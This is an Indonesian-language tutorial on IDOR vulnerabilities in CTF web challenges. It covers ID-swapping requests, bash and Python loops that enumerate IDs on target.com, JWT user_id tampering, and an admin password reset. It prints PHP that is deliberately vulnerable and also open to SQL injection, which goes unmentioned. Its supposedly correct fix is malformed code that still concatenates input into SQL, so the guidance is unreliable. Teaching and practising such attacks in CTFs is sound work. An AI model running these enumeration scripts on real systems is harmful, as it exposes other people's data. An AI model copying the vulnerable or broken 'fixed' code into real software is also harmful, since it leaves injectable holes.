

Insecure Direct Object Reference (IDOR)

Apa itu IDOR?

Insecure Direct Object Reference (IDOR) adalah celah keamanan ketika aplikasi memberikan akses langsung ke suatu objek/data berdasarkan identifier (ID) tanpa melakukan pengecekan otorisasi.

Contoh sederhana:

GET /profile?id=5

Server langsung mengambil data user dengan ID 5 tanpa memastikan apakah user yang login memang boleh melihat data tersebut.

Akibatnya attacker bisa mengganti:

GET /profile?id=6

GET /profile?id=7

GET /profile?id=8

dan melihat data user lain.

Konsep Dasar IDOR

IDOR biasanya muncul ketika aplikasi:

- Menggunakan parameter langsung:
 - id=
 - user_id=
 - file=
 - order=
- Tidak memverifikasi ownership
- Hanya mengandalkan login tanpa authorization

Analogi Mudah

Bayangkan:

<https://bank.com/account/12345>

Kalau server tidak cek pemilik akun, attacker tinggal ubah:

/account/12346

/account/12347

dan bisa melihat akun orang lain.

IDOR di CTF Jeopardy

Dalam CTF Web Exploitation, IDOR biasanya digunakan untuk:

- Mengambil flag user lain
 - Mengakses admin panel
 - Membaca invoice rahasia
 - Download file tersembunyi
 - Mengubah data user lain
-

Bentuk-Bentuk IDOR

1. IDOR pada URL Parameter

Contoh:

GET /note?id=10

Attacker mencoba:

GET /note?id=11

dan berhasil membaca note user lain.

2. IDOR pada API

Contoh:

GET /api/user/5

ubah menjadi:

GET /api/user/1

kadang ID 1 = admin.

3. IDOR pada File Download

Contoh:

GET /download?file=invoice_100.pdf

ubah menjadi:

/download?file=flag.txt

4. IDOR pada Update Data

Contoh request:

POST /update_profile

user_id=5

email=hacker@gmail.com

ubah:

user_id=1

maka profil admin berubah.

Contoh IDOR Sederhana di CTF

Source Code Vulnerable

```
<?php
```

```
session_start();
```

```
$conn = mysqli_connect("localhost","root","","ctf");
```

```
$id = $_GET['id'];
```

```
$query = mysqli_query($conn,
```

```
"SELECT * FROM notes WHERE id='$id'");
```

```
$data = mysqli_fetch_assoc($query);
```

```
echo $data['content'];
```

```
?>
```

Kenapa Vulnerable?

Karena aplikasi:

- mengambil note berdasarkan id
 - tidak mengecek pemilik note
-

Cara Eksploitasi

Misal user biasa membuka:

```
/note.php?id=1
```

Attacker mencoba:

```
/note.php?id=2
```

```
/note.php?id=3
```

```
/note.php?id=4
```

Salah satu output:

```
Flag{IDOR_Found}
```

Contoh Skenario CTF Nyata

Soal

Website memiliki fitur:

```
/profile.php?id=12
```

Saat login sebagai user biasa:

Hello Asep

Namun attacker menyadari ID dapat diubah.

Langkah Eksploitasi

Step 1 — Intercept Request

Gunakan:

- Burp Suite
- browser DevTools

Request:

GET /profile.php?id=12 HTTP/1.1

Cookie: PHPSESSID=xxxx

Step 2 — Ganti ID

Coba:

/profile.php?id=1

Step 3 — Dapatkan Data Admin

Output:

Username: admin

Flag: Flag{Admin_Profile_Access}

Enumerasi ID

Dalam CTF biasanya attacker melakukan brute force ID.

Contoh:

?id=1

?id=2

?id=3

?id=4

Kadang flag ada di:

- admin

- moderator
- hidden user

Automasi IDOR

Menggunakan bash:

```
for i in {1..20}
do
curl "http://target.com/profile?id=$i"
done
```

Automasi dengan Python

```
import requests

for i in range(1,20):
    url = f"http://target.com/profile?id={i}"
    r = requests.get(url)

    if "Flag" in r.text:
        print(f"[+] Found at ID {i}")
        print(r.text)
```

IDOR + JWT

Kadang aplikasi memakai token JWT:

```
{
  "user_id": 5
}
```

Jika token bisa dimodifikasi:

```
{
```

```
"user_id": 1  
}
```

maka attacker menjadi admin.

IDOR pada API JSON

Contoh request:

GET /api/orders/1001

Response:

```
{  
  "owner": "admin",  
  "flag": "Flag{API_IDOR}"  
}
```

IDOR pada Mobile App

Mobile app sering memakai API seperti:

/api/user/15/messages

Jika authorization lemah:

/api/user/1/messages

bisa membaca pesan admin.

Kombinasi IDOR dengan Bug Lain

IDOR + File Upload

Attacker upload file:

avatar_15.png

lalu akses:

/avatar_1.png

IDOR + Password Reset

Contoh:

POST /reset

user_id=1

Attacker reset password admin.

Cara Menemukan IDOR di CTF

Cari:

- parameter angka
 - UUID
 - API endpoint
 - file name
 - object reference
-

Parameter yang Mencurigakan

?id=

?user=

?account=

?file=

?doc=

?invoice=

Tools yang Sering Dipakai

- Burp Suite
- Postman
- curl
- ffuf
- browser DevTools

Cara Mencegah IDOR

1. Authorization Check

SALAH:

```
SELECT * FROM notes WHERE id='$id'
```

BENAR:

```
SELECT * FROM notes
```

```
WHERE id='$id'
```

```
AND owner_id=''.$_SESSION['user_id']''
```

2. Jangan Gunakan ID Sequential

Jangan:

1,2,3,4,5

Gunakan UUID:

550e8400-e29b-41d4

3. Gunakan Access Control

Setiap request harus dicek:

- siapa usernya
 - boleh akses atau tidak
-

Perbedaan IDOR dan Broken Access Control

IDOR	Broken Access Control
Subkategori	Kategori besar
Fokus object reference	Fokus semua authorization
Biasanya ubah ID	Bisa banyak bentuk

Ciri-Ciri Challenge IDOR di CTF

Biasanya ada:

- profile page
- invoice
- notes
- chat
- admin dashboard
- API endpoint

dan sering terdapat hint:

"Are you sure this object belongs to you?"

Simulasi Mini Challenge

Login sebagai user biasa

username: user

password: user123

Setelah login

URL:

/view.php?id=10

Isi:

My Note

Ubah menjadi

/view.php?id=1

Output:

Admin Secret:

Flag{Easy_IDOR}

Kesimpulan

IDOR terjadi karena:

- aplikasi percaya input user
- tidak mengecek authorization
- object dapat diakses langsung lewat ID

Di CTF, IDOR biasanya diselesaikan dengan:

1. menemukan parameter object
2. mengubah ID
3. enumerasi object lain
4. menemukan flag admin/data rahasia

IDOR termasuk vulnerability yang sangat umum di dunia nyata dan sering masuk dalam kategori OWASP Top 10 sebagai bagian dari Broken Access Control.